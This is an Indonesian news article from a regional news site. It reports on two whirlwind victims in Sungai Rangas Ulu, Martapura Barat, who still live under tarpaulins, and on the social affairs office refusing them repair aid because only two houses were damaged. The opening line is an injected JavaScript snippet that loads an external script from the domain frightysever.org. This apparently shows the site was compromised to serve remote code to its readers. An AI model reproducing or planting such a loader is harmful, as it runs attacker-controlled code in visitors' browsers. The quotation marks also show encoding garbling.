(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Duka dan trauma akibat terjangan angin puting beliung yang terjadi sekitar satu bulan lalu, tak kunjung lekang dari benak Saprah dan Mariatul, dua warga Desa Sungai Rangas Ulu, Kecamatan Martapura Barat. Karena akibat terjangan angin, rumah keduanya luluh lantak dan hanya menyisakan lantai ubin bangunan.
Duka justru dirasa kian berat. Karena sampai detik ini, keduanya tak punya daya untuk dapat membangun kembali tempat tinggalnya. Alhasil, sejak kejadian terpaan angin puting beliung pada Kamis (21/9) lalu, keduanya harus rela menempati sisa puing bangunan bertutup terpal bantuan dari Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Banjar sebagai atapnya.
Di tengah kondisi itu, baik Saprah maupun Mariatul mengaku ketar-ketir kejadian serupa terulang. Terlebih lagi saat ini kondisi musim sedang peralihan dari musim kemarau ke musim penghujan.
Saat hujan mengguyur deras, ujar Mariatul, tak hanya kemasukan air yang membuat lembab, tapi juga cipratan air hujan yang acapkali membuat seisi rumah, termasuk dirinya basah kuyup.
“Kalau hujan, air masuk dan membuat semua ada di dalam bawah,†kata Mariatul.
Tentang kondisi kedua korban angin puting beliung tersebut, Zainal Aqli, salah seorang aparat desa setempat mengatakan, telah mengajukan permohonan bantuan perbaikan rumah ke pihak Dinas Sosial (Dinsos) Kabupaten Banjar.
Ironi, karena menurut Zainal Aqli, permohonan bantuan ditolak pihak dinas dengan alasan, unit rumah yang rusak akibat puting beliung yang hanya dua unit dinilai terlalu sedikit. Padahal, kedua korban begitu mendambah pemerintah hadir di tengah derita tersebut.
“Sudah kami ajukan untuk bantuan perbaikan rumah, namun pihak Dinas Sosial menolak karena jumlah rumah rusak dianggap terlalu sedikit untuk mendapatkan bantuan perbaikan,†ujar Zainal Aqli.
Tak dapat menyalurkan bantuan perbaikan rumah untuk dua korban angin putting beliung di Desa Sungai Rangas diiyakan Adi Kesuma Wijaya, Kepala Bidang (Kabid) Perlindungan dan Jaminan Sosial pada Dinsos Kabupaten Banjar.
Menurutnya, permohonan bantuan dua unit rumah korban putting beliung tersebut lebih tepat diajukan ke BPBD. “Karena bantuan perbaikan rumah dari Kementerian Sosial hanya disalurkan untuk koban bencana berskala besar,†ujar Adi Kesuma.
Namun begitu, apa yang disampaikan Adi Kesuma ditampik Wakil Ketua Komisi IV DPRD Kabupaten Banjar, Khairuddin. Menurut politisi dari Partai Gerindra ini, penyaluran bantuan perbaikan rumah mestinya tetap dapat diberikan pihak dinas sosial tanpa harus melihat jumlah korban kebencaaan.
“Ada beberapa dana yang tetap dapat disalurkan kepada masyarakat korban bencana, baik itu bencana skala besar dengan korban yangjuga banyak, maupun bencana yang korbannya sedikit seperti dua warga korban puting beliung di Desa Sungai Rangas Ulu itu,†ujar Khairuddin. (rudiyanto)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.